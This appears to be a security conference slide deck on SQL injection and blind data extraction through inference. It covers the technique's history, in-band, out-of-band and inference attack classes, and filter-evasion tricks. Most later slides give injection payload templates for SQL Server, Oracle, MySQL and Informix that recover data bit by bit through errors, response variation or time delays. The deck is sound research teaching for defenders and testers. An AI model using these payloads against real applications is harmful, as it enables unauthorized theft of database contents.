



SQL Injection and Data Mining through Inference

David Litchfield

What is SQL Injection?

A SQL Injection vulnerability is a type of security hole that is found in a multi-tiered application; it is where an attacker can trick a database server into running an arbitrary, unauthorized, unintended SQL query by piggybacking extra SQL elements on top of an existing, predefined query that was intended to be executed by the application. The application, which is generally, but not necessarily, a web application, accepts user input and embeds this input inside an SQL query. This query is sent to the application's database server where it is executed. By providing certain malformed input, an attacker can manipulate the SQL query in such a way that its execution will have unintended consequences.



The History of SQL Injection...

- Christmas Day 1998 – rfp writes article called “NT Web Technology Vulnerabilities” for Phrack 54
- February 4th 1999 – Allaire release advisory – “Multiple SQL Statements in Dynamic Queries”
- 3 months later – rfp and Matthew Astley release advisory with title “NT ODBC Remote Compromise”
- February 3rd 2000 – “How I hacked Packetstorm – A look at hacking wwthreads via SQL” – by rfp
- September 2000 – “Application Assessments on IIS” – Blackhat – David Litchfield



The History of SQL Injection...cont:

- 23rd October 2000 – SQL Injection FAQ – Chip Andrews – uses the first public usage of term “SQL Injection” in a paper
- April 2001 – “Remote Web Application Disassembly with ODBC Error Messages”
- January 2002 – Chris Anley releases “Advanced SQL Injection”
- Two days before this Kevin Spett releases his paper
- June 2002 – “(more) Advanced SQL” – Chris Anley – time delays



The History of SQL Injection...cont:

- August 2002 – Cesar Cerrudo – “Manipulating SQL Server Using SQL Injection” – Datathief using openrowset function.
- Early September 2003 - Ofer Maor and Amichai Shulman release a paper “Blindfolded SQL injection”
- Late September 2003 – Sanctum Inc. – release their take on “Blind SQL Injection”
- Blackhat 2004 – 0x90.org release SQueaL – Absinthe



Data-mining with SQL Injection

- Three classes of data-mining
 - In-band
 - Out-of-band
 - Inference



In-band Attacks

- Data is *included* in response from the web server
- Could be a well rendered web page
 - Using UNION SELECTS
- Error messages



Out-of-band Attacks

- Data is retrieved using *another* communication channel:
 - UTL_HTTP.REQUEST
 - OPENROWSET
 - XP_SENDMAIL



Inference Attacks

- At the core of inference is a question
- Action taken based upon the answer
- Chris Anley's time delay:

```
declare @s varchar(8000)
select @s = db_name()
if (ascii(substring(@s, 1, 1)) & ( power(2, 0))) > 0 waitfor
    delay '0:0:5'
```



Inference Attacks...cont:

- Examples:
 - Time Delay
 - Generate 200/500 responses
 - Response Variation
 - Wildly Silly Example – send mail to tech support of XYZ Corp about modem problem or monitor problem – if the call comes about a modem problem we know the answer



Inference Attacks...cont:

- CASE statements in SQL:

```
SELECT CASE  
WHEN condition  
THEN do_one_thing  
ELSE do_another END
```



Inference through Web Server Response Codes

- Need query that will compile fine but generate error on branch execution:

```
SELECT CASE WHEN condition THEN 1 ELSE 1/0  
END
```



Inference through Web Server Response Codes...cont:

- Notes:
 - Works well with SQL Server, Oracle, DB2
 - MySQL returns NULL
 - Informix ODBC driver returns 200 – even in event of error
 - Response code could be 302 Redirect, etc – principle is the same.
 - Leaves a large number of 500 response in log files
 - App Environments like PL/SQL will return 404 instead of 500



Inference through response variations:

- Parameter Splitting and Balancing
- Avoids 500 responses



Parameter Splitting and Balancing

- 'NGSSSOFTWARE'
 - 'NGSSOFTWA'+ 'RE'
 - 'NGSSOFTWA' || 'RE'
 - 'NGSSOFTWA' || (SUBSELECT RETURNS R) || 'E'
 - 'NGSSOFTWA' + (SUBSELECT RETURNS R) + 'E'

- 2
 - 1 + 1
 - 1 + (SUBSELECT RETURNS 1)



Dealing with various application environments

- Cold Fusion Management
 - Converts “ to "
 - Converts & to &
 - Converts > to >
 - Converts < to <
 - Doubles up single quotes
 - Usually means attack vector is numeric input
- PHP often doubles single quote – magic quotes



Dealing with various application environments...cont:

- Rather than $>$ use BETWEEN X AND Y
- Rather than $&$ use \wedge
 - $A \text{ xor BIT} = C$
 - if C is greater than A then Bit is not set
 - If C is less than A then Bit is set
- Rather than 'A' use CHR(65)/CHAR(65)



Inference queries...

- SQL Server – String data

```
' + (select case when  
ascii(substring((sub-query),the_byte,1))^the_bit  
between 0 and ascii(substring((sub-query),the_byte,1))  
then char(known_value) else char(1/0) end) + '
```



Inference queries...

- Oracle – Numeric

+ (select case when
bitand(ascii(substr((sub-query),the_byte,1)), the_bit)
between 1 and 255 then 0 else 1/0 end
from dual)



Inference queries...

- Oracle – String data

```
'|| (select case when  
bitand(ascii(substr((sub-query),the_byte,1)), the_bit)  
between 1 and 255 then chr(known_val) else chr(1/0)  
end from dual) ||'
```



Inference queries...

- MySQL – Numeric

+ (select case when (ascii(substring((sub-query),the_byte,1))^the_bit) between 0 and
ascii(substring((sub-query),the_byte,1)) then 0 else 1
end

(uses page response variation)



Inference queries...

- MySQL – String Data

```
' + (select case when (ascii(substring((sub-  
query),the_byte,1))^the_bit) between 0 and  
ascii(substring((sub-query),the_byte,1)) then 0 else 1  
end) + '
```

(one returns no recordset – the other returns all rows)



Inference queries...

- Informix – Numeric
- + (select distinct case when bitval((SELECT distinct
DECODE((select distinct (substr((sub-query),the_byte,1)) from
sysmaster:informix.systables),"{",123,"|",124,"}",125,"~",126,"!",3
3,"\$",36,"(",40,")",41,"*",42,"",44,"-",45,".",46,"/",47,"
",32,":",58,";",59,"_",95,"\\",92,".",46,"?",63,"-
",45,"0",48,"1",49,"2",50,"3",51,"4",52,"5",53,"6",54,"7",55,"8",56,
"9",57,"@",64,"A",65,"B",66,"C",67,"D",68,"E",69,"F",70,"G",71,"
H",72,"I",73,"J",74,"K",75,"L",76,"M",77,"N",78,"O",79,"P",80,"Q"
,81,"R",82,"S",83,"T",84,"U",85,"V",86,"W",87,"X",88,"Y",89,"Z",9
0,"a",97,"b",98,"c",99,"d",100,"e",101,"f",102,"g",103,"h",104,"i",1
05,"j",106,"k",107,"l",108,"m",109,"n",110,"o",111,"p",112,"q",11
3,"r",114,"s",115,"t",116,"u",117,"v",118,"w",119,"x",120,"y",121,
"z",122,63) from sysmaster:informix.systables),the_bit) between
1 and 255 then 1 else (1/bitval(2,1)) end from
sysmaster:informix.systables)-1



Inference queries...

- Informix – String data
- ```
' || (select distinct case when bitval((SELECT distinct
DECODE((select distinct (substr((sub-query),the_byte,1)) from
sysmaster:informix.systables),"{",123,"|",124,"}",125,"~",126,"!",3
3,"$",36,"(",40,")",41,"*",42,"",44,"-",45,".",46,"/",47,"
",32,":",58,";",59,"_",95,"\\",92,".",46,"?",63,"-
",45,"0",48,"1",49,"2",50,"3",51,"4",52,"5",53,"6",54,"7",55,"8",56,
"9",57,"@",64,"A",65,"B",66,"C",67,"D",68,"E",69,"F",70,"G",71,"
H",72,"I",73,"J",74,"K",75,"L",76,"M",77,"N",78,"O",79,"P",80,"Q"
,81,"R",82,"S",83,"T",84,"U",85,"V",86,"W",87,"X",88,"Y",89,"Z",9
0,"a",97,"b",98,"c",99,"d",100,"e",101,"f",102,"g",103,"h",104,"i",1
05,"j",106,"k",107,"l",108,"m",109,"n",110,"o",111,"p",112,"q",11
3,"r",114,"s",115,"t",116,"u",117,"v",118,"w",119,"x",120,"y",121,
"z",122,63) from sysmaster:informix.systables),the_bit) between
1 and 255 then '\xFC' else (1/bitval(2,1))::char end from
sysmaster:informix.systables) ||'
```





Thanks!

- Questions?





**Thank You**

<http://www.ngsconsulting.com/>